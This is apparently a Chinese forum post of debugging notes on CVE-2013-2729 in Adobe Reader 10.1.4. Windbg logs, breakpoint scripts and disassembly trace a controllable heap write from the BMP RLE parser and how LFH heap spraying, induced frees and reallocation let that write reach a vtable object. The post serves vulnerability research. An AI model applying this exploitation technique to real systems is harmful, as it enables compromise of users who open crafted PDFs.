http://www.binvul.com/viewthread.php?tid=315&extra=page%3D1
2013-5-31
笔记标题:
CVE-2013-2729 PDF漏洞调试笔记
调试环境:
windows xp sp3 en & windows 7 sp1 ja
adobe reader 10.1.4.38 en
POC见论坛POC板块
工具:
windbg
IDA Pro 6.1
010 Editor
笔者记:
相信看到这个标题大家首先会想到K_K大牛的分析。您猜对了,确实是针对同一个漏洞的分析文章。但是正如我的习惯一般,我不喜欢分析完后按照正向思路写下整个过程了事。我更喜欢把自己调试时回溯、分析的思路通过文章以细节的方式呈现出来。于是有了此文。
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
0x01,触发原因分析:
初期为了搞清楚漏洞触发的原因,我们将xdp中所有与堆喷射有关的js代码全部删除,只留下bmp。在Windows xp下测试。开启page heap:gflags.exe /i AcroRd32.exe +hpa +ust。使用windbg带参数加载运行poc.pdf。 1:009> g
===========================================================
VERIFIER STOP 00000008: pid 0x950: corrupted end stamp
02DB1000 : Heap handle
08928ED0 : Heap block
0000012C : Block size
05270000 : Corrupted stamp
===========================================================
复制代码可见是堆块头部end stamp字段被破坏。我们看下page heap的结构信息:
Full page heap block — allocated:
+-----+---------+---+-------
| | | | ... N/A page
+-----+---------+---+-------
^ ^ ^
| | 0-7 suffix bytes (filled with 0xD0)
| User allocation (if zeroing not requested, filled
with E0 in Windows 2000 and C0 in Windows XP)
Block header (starts with 0xABCDBBBB and ends with 0xDCBABBBB) DPH_BLOCK_INFORMATION
ULONG StartStamp;
PVOID Heap;
SIZE_T RequestedSize;
SIZE_T ActualSize;
LIST_ENTRY FreeQueue;
PVOID StackTrace;
ULONG EndStamp;
复制代码在实例中,此堆块的结构数据为:
1:009> dd 08928ED0-20
08928eb0 abcdbbbb 02db1000 0000012c 00001000
08928ec0 000040cc 00000000 00000001 05270000
08928ed0 00000000 00000000 00000000 00000000
08928ee0 00000000 00000000 00000000 00000000
08928ef0 00000000 00000000 00000000 00000000
08928f00 00000000 00000000 00000000 00000000
08928f10 00000000 00000000 00000000 00000000
08928f20 00000000 00000000 00000000 00000000
由此可见,endstamp本来为0xDCBABBBB,被修改为0x05270000
1:009> kb20
ChildEBP RetAddr Args to Child
0012baa4 7c954a15 00000008 08928ed0 08928e01 ntdll!DbgBreakPoint
0012babc 7c9694ef 00000008 7c9697c0 02db1000 ntdll!RtlApplicationVerifierStop+0x160
0012bb38 7c96a768 02db1000 00000001 08928ed0 ntdll!RtlpDphReportCorruptedBlock+0x22d
0012bb8c 7c96d7bb 02db0000 01001002 08928ed0 ntdll!RtlpDebugPageHeapFree+0xc7
0012bc00 7c949e1c 02db0000 01001002 08928ed0 ntdll!RtlDebugFreeHeap+0x2c
0012bce8 7c927553 02db0000 01001002 08928ed0 ntdll!RtlFreeHeapSlowly+0x37
0012bdb8 78583c1b 02db0000 00000000 08928ed0 ntdll!RtlFreeHeap+0xf9
0012be04 20a724fd 08928ed0 8d9ff907 0012ce10 MSVCR90!free+0xcd [f:\dd\vctools\crt_bld\self_x86\crt\src\free.c @ 110]
WARNING: Stack unwind information not available. Following frames may be wrong.
0012be30 20a729a7 0012c0dc 20cde502 00000001 AcroForm!DllUnregisterServer+0x1f39b5 //注意此处
0012ce2c 209b117d 166b8a30 20f32d08 00000000 AcroForm!DllUnregisterServer+0x1f3e5f
0012cf08 20cdf720 0012cf4c 0012cf30 00000000 AcroForm!DllUnregisterServer+0x132635
0012cf24 20ad976b 0012cfc0 00120000 8d9f8853 AcroForm!DllUnregisterServer+0x460bd8
我们的目标有两个,一是回溯找到释放堆操作的代码位置,二是找到堆申请的代码位置。
1:009> bp 20A729A2
1:009> g
Breakpoint 0 hit
eax=20ef2694 ebx=00000000 ecx=02b51f18 edx=02a55000 esi=02b51f18 edi=0012ce10
eip=20a729a2 esp=0012be38 ebp=0012ce1c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
AcroForm!DllUnregisterServer+0x1f3e5a:
20a729a2 e829fbffff call AcroForm!DllUnregisterServer+0x1f3988 (20a724d0)
1:009> p
===========================================================
VERIFIER STOP 00000008: pid 0xAA8: corrupted end stamp
02A51000 : Heap handle
02742458 : Heap block
0000012C : Block size
05270000 : Corrupted stamp
===========================================================
返回快照,查看02742458堆块的数据状态
1:009> dd poi(esi+8)-20
02742458 abcdaaaa 82641000 0000012c 00000154
02742468 000041a1 00000000 00000001 05270000
02742478 00000000 00000000 00000000 00000000
02742488 00000000 00000000 00000000 00000000
02742498 00000000 00000000 00000000 00000000
027424a8 00000000 00000000 00000000 00000000
027424b8 00000000 00000000 00000000 00000000
027424c8 00000000 00000000 00000000 00000000
也就是说传入esi为指针,偏移0x8为堆块基址,在函数20a724d0中被释放,由于end stamp验证出错而被调试器捕获。
查看堆栈信息(此时kb出错)
1:009> dds esp
0012be38 0012c0dc
0012be3c 20cde502 AcroForm!DllUnregisterServer+0x45f9ba //注意此处
0012be40 00000001
0012be44 7857dfb7 MSVCR90!_NLG_Return [f:\dd\vctools\crt_bld\SELF_X86\crt\prebuild\eh\i386\lowhelpr.asm @ 73]
继续回溯,20cde500处下断点 20cde4f3 8b4d54 mov ecx,dword ptr [ebp+54h]
20cde4f6 33db xor ebx,ebx
20cde4f8 3bcb cmp ecx,ebx
20cde4fa 740c je AcroForm!DllUnregisterServer+0x45f9c0 (20cde508)
20cde4fc 8b01 mov eax,dword ptr [ecx]
20cde4fe 6a01 push 1
20cde500 ff10 call dword ptr [eax] ds:0023:20ef2694=20a7299f
复制代码1:009> dds ecx L3
02731f18 20ef2694 AcroForm!DllUnregisterServer+0x673b4c //虚表里面存放的虚函数指针
02731f1c e0e0e0e0
02731f20 02732478 //虚表里面的缓冲区地址
1:009> dc poi(ecx+8)-20
02732458 abcdaaaa 82631000 0000012c 00000154 ......c.,...T...
02732468 0000419e 00000000 00000001 05270000 .A............'.
02732478 00000000 00000000 00000000 00000000 ................
这样我们基本定位了释放堆块的操作代码位置,下面继续回溯,找到堆块申请的位置。
而ecx是由ebp+54的栈地址保存的。我们看一下此处的栈帧情况:
1:009> dds ebp+54
0012ce70 02eb1f18
0012ce74 3e2e04b0
0012ce78 0012cf08
0012ce7c 20cdf66e AcroForm!DllUnregisterServer+0x460b26 //注意此处
0012ce80 0012cf4c
0012ce84 06fc1fe0
0012ce88 8d9f883f
0012ce8c 00000000
0012ce90 138c7f28
0012ce94 00000003
0012ce98 00000000
0012ce9c 00000001
0012cea0 0012cf0c
0012cea4 00000003
0012cea8 20c29342 AcroForm!DllUnregisterServer+0x3aa7fa
0012ceac 0012ceb4
0012ceb0 20c29350 AcroForm!DllUnregisterServer+0x3aa808
20cdf66e附近的代码情况如下: .text:20CDF663 loc_20CDF663: ; CODE XREF: sub_20CDF5DE+50j
.text:20CDF663 push edi
.text:20CDF664 push [ebp+arg_0]
.text:20CDF667 mov ecx, esi
.text:20CDF669 call sub_20CDE3FB
.text:20CDF66E
.text:20CDF66E loc_20CDF66E: ; CODE XREF: sub_20CDF5DE+7Fj
.text:20CDF66E push edi
.text:20CDF66F mov ecx, esi
.text:20CDF671 mov ebx, eax
.text:20CDF673 call sub_20CDF49D
复制代码于是我们在sub_20CDE3FB函数开始处下断点。重新加载后在此断下,保存虚拟机快照。(前面快照可以删除)
由于栈帧0012ce70到0012be38距离甚远,我们先从断点处直接运行可以得到申请堆块的地址,然后恢复快照,查看此时此地址的状态:
1:009> !heap -x 02eb2478-20
Entry User Heap Segment Size PrevSize Unused Flags
-----------------------------------------------------------------------------
02eb1e88 02eb1e90 02eb0000 02eb0640 1178 1808 0 free last
此时此地址处为释放完毕的堆块。我们在此处设置内存写入断点,当申请堆块操作开始时,由于要设置start stamp,肯定会写入abcdaaaa
//注意:此处也可采用trace的方法,从函数开始处步入找到关键的堆申请函数调用。笔者开始也是这么做的,只是从逻辑上来说,笔记中采用的方法比较好。
1:009> ba w4 02eb2478-20
1:009> g
Breakpoint 1 hit
eax=02eb2458 ebx=00000176 ecx=02eb0178 edx=02eb0178 esi=02eb0178 edi=02eb2450
eip=7c9191d3 esp=0012bf28 ebp=0012c144 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlAllocateHeapSlowly+0x9e3:
7c9191d3 894804 mov dword ptr [eax+4],ecx ds:0023:02eb245c=00000000
1:009> g
Breakpoint 1 hit
eax=00000154 ebx=0000012c ecx=02db1000 edx=00000000 esi=02eb2478 edi=00000154
eip=7c969913 esp=0012c39c ebp=0012c3a8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlpDphWriteNormalHeapBlockInformation+0x2d:
7c969913 c746fcaaaabadc mov dword ptr [esi-4],0DCBAAAAAh ds:0023:02eb2474=00000000
1:009> kb20 //调试的越多,经验越发现kb要比dds靠谱的多
ChildEBP RetAddr Args to Child
0012c3a8 7c9699f2 02db1000 02eb2478 0000012c ntdll!RtlpDphWriteNormalHeapBlockInformation+0x2d
0012c3cc 7c969dc3 02db1000 01001002 0000012c ntdll!RtlpDphNormalHeapAllocate+0x6a
0012c42c 7c96cee6 02db0000 01001002 0000012c ntdll!RtlpDebugPageHeapAllocate+0xba
0012c4b0 7c949564 02db0000 01001002 0000012c ntdll!RtlDebugAllocateHeap+0x2d
0012c6e0 7c918f01 02db0000 01001002 0000012c ntdll!RtlAllocateHeapSlowly+0x44
0012c914 78583db8 02db0000 01001002 0000012c ntdll!RtlAllocateHeap+0xe64
0012c934 78583eb8 0000012c 0012c9bc 20d82647 MSVCR90!malloc+0x79 [f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.c @ 163]
0012c94c 20a72ac8 0000012c 8d9f8eff 00000001 MSVCR90!operator new+0x1f [f:\dd\vctools\crt_bld\self_x86\crt\src\new.cpp @ 59]
WARNING: Stack unwind information not available. Following frames may be wrong.
0012c9d4 7c96d144 7c949564 00000000 00001002 AcroForm!DllUnregisterServer+0x1f3f80
0012caa4 20ce02c4 0000012c 00000001 00000000 ntdll!RtlDebugAllocateHeap+0x281 //注意此处
0012cb94 20c65eb3 02eb2040 0012ccd4 00000014 AcroForm!DllUnregisterServer+0x46177c
0012cbb0 20810f26 20f32d3c 0012cc1c 00000004 AcroForm!DllUnregisterServer+0x3e736b
查看20ce02c4附近的代码状态: .text:20CE02B6 loc_20CE02B6: ; CODE XREF: sub_20CE010C+18Dj
.text:20CE02B6 ; sub_20CE010C+195j
.text:20CE02B6 mov ecx, [esi+0Ch]
.text:20CE02B9 push 0 ; Val
.text:20CE02BB push [ebp+58h+var_84] ; int //注意此处
.text:20CE02BE push eax ; int
.text:20CE02BF call sub_20A72BF7
复制代码恢复快照,在20CE02BF设置断点
1:009> bp 20CE02BF
1:009> g
Breakpoint 1 hit
eax=0000012c ebx=00000004 ecx=02eb1f18 edx=00000008 esi=0012ce38 edi=00000001
eip=20ce02bf esp=0012caac ebp=0012cb88 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
AcroForm!DllUnregisterServer+0x461777:
20ce02bf e83329d9ff call AcroForm!DllUnregisterServer+0x1f40af (20a72bf7)
由于我们知道后面申请的堆块大小为0x12c,所以此处很明显就是我们要找的关键位置
1:009> dd esp L3
0012caac 0000012c 00000001 00000000
通过IDA查看sub_20A72BF7很明显,参数一只有此处调用: .text:20A72C59 loc_20A72C59: ; CODE XREF: sub_20A72BF7+23j
.text:20A72C59 push [ebp+arg_4]
.text:20A72C5C mov ecx, esi
.text:20A72C5E push [ebp+arg_0]
.text:20A72C61 call sub_20A729BB //注意此处
.text:20A72C66 push [ebp+Size] ; Size
.text:20A72C69 push [ebp+Val] ; Val
.text:20A72C6C push dword ptr [esi+8] ; Dst
.text:20A72C6F call memset
复制代码我们上述两个目标都完成了。找到了关键的堆申请和堆释放的代码位置。
接下来,我们来观察end stamp到底是在什么位置被修改的。
恢复快照,在关键地方设置断点:
1:009> bp 20CE02BF
1:009> g
Breakpoint 1 hit
eax=0000012c ebx=00000004 ecx=02eb1f18 edx=00000008 esi=0012ce38 edi=00000001
eip=20ce02bf esp=0012caac ebp=0012cb88 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
AcroForm!DllUnregisterServer+0x461777:
20ce02bf e83329d9ff call AcroForm!DllUnregisterServer+0x1f40af (20a72bf7)
1:009> p
eax=02eb2478 ebx=00000004 ecx=20a72c7c edx=00000024 esi=0012ce38 edi=00000001
eip=20ce02c4 esp=0012cab8 ebp=0012cb88 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
AcroForm!DllUnregisterServer+0x46177c:
20ce02c4 ff7540 push dword ptr [ebp+40h] ss:0023:0012cbc8=00000008
堆块已经申请成功:
1:009> dd eax-20 L10
02eb2458 abcdaaaa 82db1000 0000012c 00000154
02eb2468 000040cc 00000000 2169487c dcbaaaaa
02eb2478 00000000 00000000 00000000 00000000
02eb2488 00000000 00000000 00000000 00000000
设置内存写入断点:
1:009> ba w4 02eb2474
1:009> g
Breakpoint 2 hit
eax=02eb2478 ebx=fffffffc ecx=20a72000 edx=00000000 esi=0012ce38 edi=00000004
eip=20ce062f esp=0012cab8 ebp=0012cb88 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
AcroForm!DllUnregisterServer+0x461ae7:
20ce062f 0fb64535 movzx eax,byte ptr [ebp+35h] ss:0023:0012cbbd=08
1:009> dd 02eb2474 L1
02eb2474 dcbaaa00
1:009> g
Breakpoint 2 hit
eax=02eb2478 ebx=fffffffd ecx=20a72000 edx=00000000 esi=0012ce38 edi=00000005
eip=20ce062f esp=0012cab8 ebp=0012cb88 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
AcroForm!DllUnregisterServer+0x461ae7:
20ce062f 0fb64535 movzx eax,byte ptr [ebp+35h] ss:0023:0012cbbd=08
1:009> dd 02eb2474 L1
02eb2474 dcba0000
1:009> g
Breakpoint 2 hit
eax=02eb2478 ebx=fffffffe ecx=20a72027 edx=00000000 esi=0012ce38 edi=00000006
eip=20ce062f esp=0012cab8 ebp=0012cb88 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
AcroForm!DllUnregisterServer+0x461ae7:
20ce062f 0fb64535 movzx eax,byte ptr [ebp+35h] ss:0023:0012cbbd=08
1:009> dd 02eb2474 L1
02eb2474 dc270000
1:009> g
Breakpoint 2 hit
eax=02eb2478 ebx=ffffffff ecx=20a72005 edx=00000000 esi=0012ce38 edi=00000007
eip=20ce062f esp=0012cab8 ebp=0012cb88 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
AcroForm!DllUnregisterServer+0x461ae7:
20ce062f 0fb64535 movzx eax,byte ptr [ebp+35h] ss:0023:0012cbbd=08
1:009> dd 02eb2474 L1
02eb2474 05270000
由上述可见,所有的操作都是在20ce062f附近完成的。我们惊奇的发现,这个位置和申请堆块的关键函数调用是在同一个函数sub_20CE010C中 if ( v81 )
{
if ( v81 == 1 )
{
v86 = v11;
}
else
{
if ( v81 == 2 )
{
sub_20C2BA5C(&v84, v11);
sub_20C2BA5C(&v83, v11);
v26 += v84;
v85 -= v83;
}
else
{
if ( v85 >= (unsigned int)v76 || (unsigned int)v81 + v26 > v78 )
goto LABEL_91;
v27 = 0;
if ( v81 )
{
do
{
sub_20C2BA5C(&v82, 1);
v28 = sub_20A71F9A(v85);
*(_BYTE *)(v26++ + v28) = v82;
++v27;
}
while ( v27 < v81 );
}
if ( v81 & 1 )
sub_20C2BA5C(&v82, 1);
}
复制代码根据漏洞作者给的资料我们可以猜测出,v81就是cmd.value。在poc的bmp文件中,先是value一直等于2,导致v26一直在增加。就是文中的xpos。
最后在v81不为0、1、2时被赋值*(_BYTE *)(v26++ + v28) = v82;
由于v36完全可控,v82也完全可控,在堆地址(v28)一定的情况下,漏洞可以做到向特定内存写入特定数据,写入的数据字节长度也是完全可控的。就是v81。
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
0x02,漏洞的利用:
这样,我们就搞清楚了漏洞触发的原因,和造成的直接效果。接下来,我们考虑利用的问题。重新加载原始的poc.pdf。
在这里需要特殊指明一下:本例中利用方法使用到了LFH堆的一些特点,在实际调试中发现XP系统下无论何种情况均不是此类型堆。换成Win7系统测试成功!
我们先来查看此例的利用技巧,回头再分析俩种系统堆机制差异性。
重新加载poc.pdf。关闭hpa。采取attach的方式:
js中由于可以弹框,可以在特定对话框时手动暂停调试器:
1,在喷射完成时暂停:
0:003> s -b 0x0 L?0x7fffffff 58 58 58 58 78 56 34 12
05a28e70 58 58 58 58 78 56 34 12-25 00 00 00 4f 4f 4f 4f XXXXxV4.%...OOOO
...
092d9850 58 58 58 58 78 56 34 12-c4 00 00 00 4f 4f 4f 4f XXXXxV4.....OOOO
092d9988 58 58 58 58 78 56 34 12-c5 00 00 00 4f 4f 4f 4f XXXXxV4.....OOOO
092d9ac0 58 58 58 58 78 56 34 12-c6 00 00 00 4f 4f 4f 4f XXXXxV4.....OOOO
092d9bf8 58 58 58 58 78 56 34 12-c7 00 00 00 4f 4f 4f 4f XXXXxV4.....OOOO
169fad58 58 58 58 58 78 56 34 12-0b 00 00 00 4f 4f 4f 4f XXXXxV4.....OOOO
...
上面是喷射的带有token的LFH堆块:我们通过上面的分析设置堆块申请的断点:
0:003> bp 646302C4 ".echo ++++++++++++++++++++++++++++Allocate Heap:; !heap -x eax;"
*** WARNING: Unable to verify checksum for C:\Program Files\Adobe\Reader 10.0\Reader\plug_ins\AcroForm.api
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Reader 10.0\Reader\plug_ins\AcroForm.api -
0:003> g
++++++++++++++++++++++++++++Allocate Heap:
Entry User Heap Segment Size PrevSize Unused Flags
-----------------------------------------------------------------------------
092d9d28 092d9d30 04af0000 0920e448 138 - c LFH;busy
eax=092d9d30 ebx=00000004 ecx=643c2c7c edx=0000002c esi=0027cb18 edi=00000001
eip=646302c4 esp=0027c798 ebp=0027c868 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
AcroForm!DllUnregisterServer+0x46177c:
646302c4 ff7540 push dword ptr [ebp+40h] ss:0023:0027c8a8=00000008
我们可以发现,申请的堆块正是在上述若干token堆块的中间(092d9bf8之后)
我们设置堆头修改的断点:
bp 6463062F ".echo ***********************************************Heap Header changed:; dd eax-8; gc;"
删除堆块的操作:
bp 641645BA ".echo -----------------------------------------------Delete Heap:; dc poi(esp+0x4)-8; kb L5; gc;"
创建堆块的操作:
bp MSVCR90!malloc+0xd6 ".if(poi(esp+0x4) == 0x12c){.echo +++++++++++++++++++++++++++++++++++++++++++++++++++Create Heap:; r eax; kb L5; gc;} .elsif (eax == 0x092d9988){.echo **********************************************Create Heap: 0x092d9988; .echo Heap Size = ; dd esp+0x4 L1; kb L8;} .else{gc;}"
通过js判断,以及调试跟踪,会有保存虚表的操作:
ba w4 092d9988+0x1c ".echo !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Virtual Address Write in; kb L5;"
0:000> g
(3d8.328): C++ EH exception - code e06d7363 (first chance)
(3d8.328): C++ EH exception - code e06d7363 (first chance)
-----------------------------------------------Delete Heap:
0eba0018 c4f605de 04000000 00004d42 00000000 ........BM......
0eba0028 00000000 00400000 012c0000 00010000 ......@...,.....
0eba0038 00010000 00010008 00000000 00000000 ................
0eba0048 00000000 00020000 00000000 47520000 ..............RG
0eba0058 47524142 02004142 020000ff 020000ff BARGBA..........
0eba0068 020000ff 020000ff 020000ff 020000ff ................
0eba0078 020000ff 020000ff 020000ff 020000ff ................
0eba0088 020000ff 020000ff 020000ff 020000ff ................
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0027cafc 00000000 00000000 0027cc2c 0027cb48 AcroForm!PlugInMain+0xe4c4
-----------------------------------------------Delete Heap: //删除的却是临近的上一个LFH堆092d9bf8
092d9d28 00000001 05270000 00000000 00000000 ......'.........
092d9d38 00000000 00000000 00000000 00000000 ................
092d9d48 00000000 00000000 00000000 00000000 ................
092d9d58 00000000 00000000 00000000 00000000 ................
092d9d68 00000000 00000000 00000000 00000000 ................
092d9d78 00000000 00000000 00000000 00000000 ................
092d9d88 00000000 00000000 00000000 00000000 ................
092d9d98 00000000 00000000 00000000 00000000 ................
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0027bae8 643c29a7 0027bd94 6462e502 00000001 AcroForm!PlugInMain+0xe4c4
0027cb0c 6430117d 05c824b8 64882d08 00000000 AcroForm!DllUnregisterServer+0x1f3e5f
0027cbe8 6462f720 0027cc2c 0027cc10 00000000 AcroForm!DllUnregisterServer+0x132635
0027cc04 6442976b 0027cca0 00270000 c7f416aa AcroForm!DllUnregisterServer+0x460bd8
0027cc44 64482be5 0027cca0 0027d140 0027d140 AcroForm!DllUnregisterServer+0x25ac23
+++++++++++++++++++++++++++++++++++++++++++++++++++Create Heap: //刚刚删除的堆块又被申请
eax=092d9bf8
ChildEBP RetAddr Args to Child
0027c62c 643c2ac8 0000012c c7f41c46 00000001 MSVCR90!malloc+0xd6
WARNING: Stack unwind information not available. Following frames may be wrong.
0027c704 643c2c66 0000012c 00000001 c7f41d6a AcroForm!DllUnregisterServer+0x1f3f80
0027c784 646302c4 0000012c 00000001 00000000 AcroForm!DllUnregisterServer+0x1f411e
0027c874 645b5eb3 05f6f840 0027c9b4 00000014 AcroForm!DllUnregisterServer+0x46177c
0027c890 64160f26 64882d3c 0027c8fc 00000004 AcroForm!DllUnregisterServer+0x3e736b
***********************************************Heap Header changed: //块头再次被破坏
092d9bf0 00000001 05270000 00000000 00000000
092d9c00 00000000 00000000 00000000 00000000
092d9c10 00000000 00000000 00000000 00000000
092d9c20 00000000 00000000 00000000 00000000
092d9c30 00000000 00000000 00000000 00000000
092d9c40 00000000 00000000 00000000 00000000
092d9c50 00000000 00000000 00000000 00000000
092d9c60 00000000 00000000 00000000 00000000
-----------------------------------------------Delete Heap:
0eba0018 c4f605de 04000000 00004d42 00000000 ........BM......
0eba0028 00000000 00400000 012c0000 00010000 ......@...,.....
0eba0038 00010000 00010008 00000000 00000000 ................
0eba0048 00000000 00020000 00000000 47520000 ..............RG
0eba0058 47524142 02004142 020000ff 020000ff BARGBA..........
0eba0068 020000ff 020000ff 020000ff 020000ff ................
0eba0078 020000ff 020000ff 020000ff 020000ff ................
0eba0088 020000ff 020000ff 020000ff 020000ff ................
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0027cafc 00000000 00000000 0027cc2c 0027cb48 AcroForm!PlugInMain+0xe4c4
-----------------------------------------------Delete Heap: //这次删除的是092d9bf8的上一个堆块了
092d9bf0 00000001 05270000 00000000 00000000 ......'.........
092d9c00 00000000 00000000 00000000 00000000 ................
092d9c10 00000000 00000000 00000000 00000000 ................
092d9c20 00000000 00000000 00000000 00000000 ................
092d9c30 00000000 00000000 00000000 00000000 ................
092d9c40 00000000 00000000 00000000 00000000 ................
092d9c50 00000000 00000000 00000000 00000000 ................
092d9c60 00000000 00000000 00000000 00000000 ................
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0027bae8 643c29a7 0027bd94 6462e502 00000001 AcroForm!PlugInMain+0xe4c4
0027cb0c 6430117d 05c824b8 64882d08 00000000 AcroForm!DllUnregisterServer+0x1f3e5f
0027cbe8 6462f6ce 0027cc2c 0027cc10 00000000 AcroForm!DllUnregisterServer+0x132635
0027cc04 644297ff 0027cca0 00270000 c7f416aa AcroForm!DllUnregisterServer+0x460b86
0027cc44 64482c2c 0027cca0 0027d140 0027d140 AcroForm!DllUnregisterServer+0x25acb7
+++++++++++++++++++++++++++++++++++++++++++++++++++Create Heap: //刚删除的堆块再次被申请到
eax=092d9ac0
ChildEBP RetAddr Args to Child
0027be00 643c2ac8 0000012c c7f46492 00000001 MSVCR90!malloc+0xd6
WARNING: Stack unwind information not available. Following frames may be wrong.
0027bed8 643c2c66 0000012c 00000001 c7f465b6 AcroForm!DllUnregisterServer+0x1f3f80
0027bf58 646302c4 0000012c 00000001 00000000 AcroForm!DllUnregisterServer+0x1f411e
0027c048 645b5eb3 05f6f840 0027c188 00000014 AcroForm!DllUnregisterServer+0x46177c
0027c064 64160f26 64882d3c 0027c0d0 00000004 AcroForm!DllUnregisterServer+0x3e736b
***********************************************Heap Header changed: //头部被破坏
092d9ab8 00000001 05270000 00000000 00000000
092d9ac8 00000000 00000000 00000000 00000000
092d9ad8 00000000 00000000 00000000 00000000
092d9ae8 00000000 00000000 00000000 00000000
092d9af8 00000000 00000000 00000000 00000000
092d9b08 00000000 00000000 00000000 00000000
092d9b18 00000000 00000000 00000000 00000000
092d9b28 00000000 00000000 00000000 00000000
(3d8.328): C++ EH exception - code e06d7363 (first chance)
(3d8.328): C++ EH exception - code e06d7363 (first chance)
-----------------------------------------------Delete Heap:
0eba0018 c4f605de 04000000 00004d42 00000000 ........BM......
0eba0028 00000000 00400000 012c0000 00010000 ......@...,.....
0eba0038 00010000 00010008 00000000 00000000 ................
0eba0048 00000000 00020000 00000000 47520000 ..............RG
0eba0058 47524142 02004142 020000ff 020000ff BARGBA..........
0eba0068 020000ff 020000ff 020000ff 020000ff ................
0eba0078 020000ff 020000ff 020000ff 020000ff ................
0eba0088 020000ff 020000ff 020000ff 020000ff ................
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0027c2d0 0027c3e4 646bedf4 0027c4a4 0027c31c AcroForm!PlugInMain+0xe4c4
0027c3bc 6462f7b8 0027c4a4 0027c6ac 00000000 0x27c3e4
0027c3ec 6442998c 0027c4a4 0027c6ac 00000000 AcroForm!DllUnregisterServer+0x460c70
0027c47c 66aa298a 0027c4e4 777fe0ed 00ff8865 AcroForm!DllUnregisterServer+0x25ae44
0027c6bc 645e918f 0027c6d0 645e9196 064d000c PDDom!PlugInMain+0x43d
-----------------------------------------------Delete Heap: //又一次删除了其上一个堆块092d9988
092d9ab8 00000001 05270000 00000000 00000000 ......'.........
092d9ac8 00000000 00000000 00000000 00000000 ................
092d9ad8 00000000 00000000 00000000 00000000 ................
092d9ae8 00000000 00000000 00000000 00000000 ................
092d9af8 00000000 00000000 00000000 00000000 ................
092d9b08 00000000 00000000 00000000 00000000 ................
092d9b18 00000000 00000000 00000000 00000000 ................
092d9b28 00000000 00000000 00000000 00000000 ................
**********************************************Create Heap: 0x092d9988 //注意此处,申请的堆块大小和前面都不同
Heap Size =
0027dde4 00000130
ChildEBP RetAddr Args to Child
0027de4c 679bf6d2 00000ac0 0027de6c 38397ed6 MSVCR90!malloc+0xd6
WARNING: Stack unwind information not available. Following frames may be wrong.
0027de80 631b5645 04b5ea20 63600fc4 c44a59ed AcroRd32_67510000!PDFLTerm+0x97452
0027debc 631b580a 16241cac 6363666c 6361824c PPKLite!PlugInMain+0x3629
0027df38 6761737c 089f1564 16241cac 38397f22 PPKLite!PlugInMain+0x37ee
0027df74 67617620 38397fe6 04b8b1a4 04b8b1a4 AcroRd32_67510000!AVAcroALM_Destroy+0xf8cae
0027dfb0 675d37d2 16a0d078 38397fa6 04b8b1a4 AcroRd32_67510000!AVAcroALM_Destroy+0xf8f52
0027dff0 675d674d 16a0d078 38394016 0c165c44 AcroRd32_67510000!AVAcroALM_Destroy+0xb5104
0027e040 675d69f6 04b8b1a4 00000000 00000000 AcroRd32_67510000!AVAcroALM_Destroy+0xb807f
通过回溯和跟进,可以找出堆创建的流程:
在函数sub_679BF1DC中(AcroRd32_67510000模块,基址为67510000) .text:679BF1DC push 4
.text:679BF1DE mov eax, offset sub_67E2EEEE
.text:679BF1E3 call __EH_prolog3
.text:679BF1E8 push 1
.text:679BF1EA push 114h
.text:679BF1EF call sub_675287D0 //创建堆块sub_67531f10------>sub67531d10------>malloc
.text:679BF1F4 pop ecx //eax=092d99a4
.text:679BF1F5 pop ecx
.text:679BF1F6 mov ecx, eax
.text:679BF1F8 mov [ebp+var_10], ecx
.text:679BF1FB xor esi, esi
.text:679BF1FD mov [ebp+var_4], esi
.text:679BF200 cmp ecx, esi
.text:679BF202 jz short loc_679BF211
.text:679BF204 push [ebp+arg_4]
.text:679BF207 push [ebp+arg_0]
.text:679BF20A call sub_679BEE66 //堆块初始化
复制代码如上所示:堆块创建完后,在函数679bee66中进行了一系列初始化操作 .text:679BEE66 push 30h
.text:679BEE68 mov eax, offset sub_67E273C2
.text:679BEE6D call __EH_prolog3
.text:679BEE72 mov esi, ecx
.text:679BEE74 mov [ebp+var_14], esi
.text:679BEE77 and [ebp+var_4], 0
.text:679BEE7B lea ecx, [esi+0Ch]
.text:679BEE7E mov dword ptr [esi], offset off_67F5D88C
复制代码此处将虚表地址存入092d99a4= 092d9988+1c
这时我们回顾一下,092d9988最初是由js中申请带有token的LFH堆时创建的,由于LFH的特性,通过连续的误删除操作,直接意外删除。
